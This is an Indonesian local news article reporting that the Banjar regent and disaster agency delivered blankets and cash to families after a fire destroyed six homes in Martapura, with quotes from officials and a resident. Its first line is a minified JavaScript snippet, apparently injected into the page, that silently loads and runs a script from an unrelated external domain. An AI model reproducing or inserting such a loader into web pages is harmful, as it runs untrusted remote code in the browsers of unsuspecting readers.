(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Paska musibah kebakaran yang menghanguskan 6 buah rumah warga di Jalan Karya RT 4 RW 2 Kelurahan Murung Keraton, Kecamatan Martapura, Selasa (25/9) dinihari, Bupati Banjar KH Khalilurrahman bersama Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar berikan bantuan kepada seluruh korban.
Bupati Banjar menyerahkan bantuan berupa selimut dan uang tunai kepada seluruh korban yang rumahnya terbakar, serta korban yang mengalami luka-luka dan masih dirawat di rumah sakit, sebagai wujud kepedulian.
“Saya sangat prihatin dengan musibah yang menimpa warga Kelurahan Murung Keraton, semoga mereka diberi ketabahan dan mendapat kehidupan yang belih baik lagi paska musibah yang menimpa mereka tadi malam,†ujarnya.
Bupati Banjar KH Khalilurrahman tidak lupa berterima kasih kepada anggota Damkar yang dengan sigap memadamkan api di permukiman padat tersebut, hingga tidak menjalar dengan cepat ke rumah warga lainnya.
“Terima kasih sebesar-besarnya kepada anggota Damkar yang dengan sigap memadamkan api, sehingga api bisa dikuasai dengan cepat dan tidak menjalar,†pungkasnya.
Sementara itu, Camat Martapura Ahmad Junaidi mengatakan, sedikitnya ada enam buah rumah yang mengalami rusak yang dihuni sebanyak 10 KK dengan 35 jiwa. Tiga buah rumah rusak berat dan tiga buah lainnya mengalami rusak ringan. Pemicu dari kebakaran tersebut masih belum diketahui apakah ada hubungan arus pendek listrik dari salah satu rumah warga, mengingat kejadian malam itu sangat cepat dan masih dalam penyelidikan pihak kepolisian.
“Malam tadi tiba-tiba saja ada kobaran api yang sangat besar membumbung tinggi terlihat dari kejauhan, rumah di lokasi sangat padat dan akses jalan cukup macet sehingga menyulitkan petugas pemadam kebakaran memadamkan si jago merah,†ujar Camat Martapura.
Musibah kebakaran tersebut setidaknya 2 warga dilarikan ke RSUD Ratu Zalecha karena sesak napas, sedangkan 10 warga lain berhasil diselamatkan di tempat kejadian, rata-rata akibat sesak napas, luka ringan, dan kulit terbakar ringan.
Akli warga yang rumahnya terbakar, menceritakan saat kejadian ia sangat terkejut begitu melihat rumah milik tetangganya Gusti Amsori sudah dilahap api. Spontan ia langsung naik ke loteng rumahnya dan mengumandangkan azan, serta memukul tiang listrik sebagai pertanda kebakaran.
“Api itu tiba-tiba saja langsung besar, saat rumah di sebelah terbakar rumah yang saya tinggali belum terbakar. Hingga akhirnya api turut menghanguskan bagian loteng dan sebagian bagian bawah,†katanya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.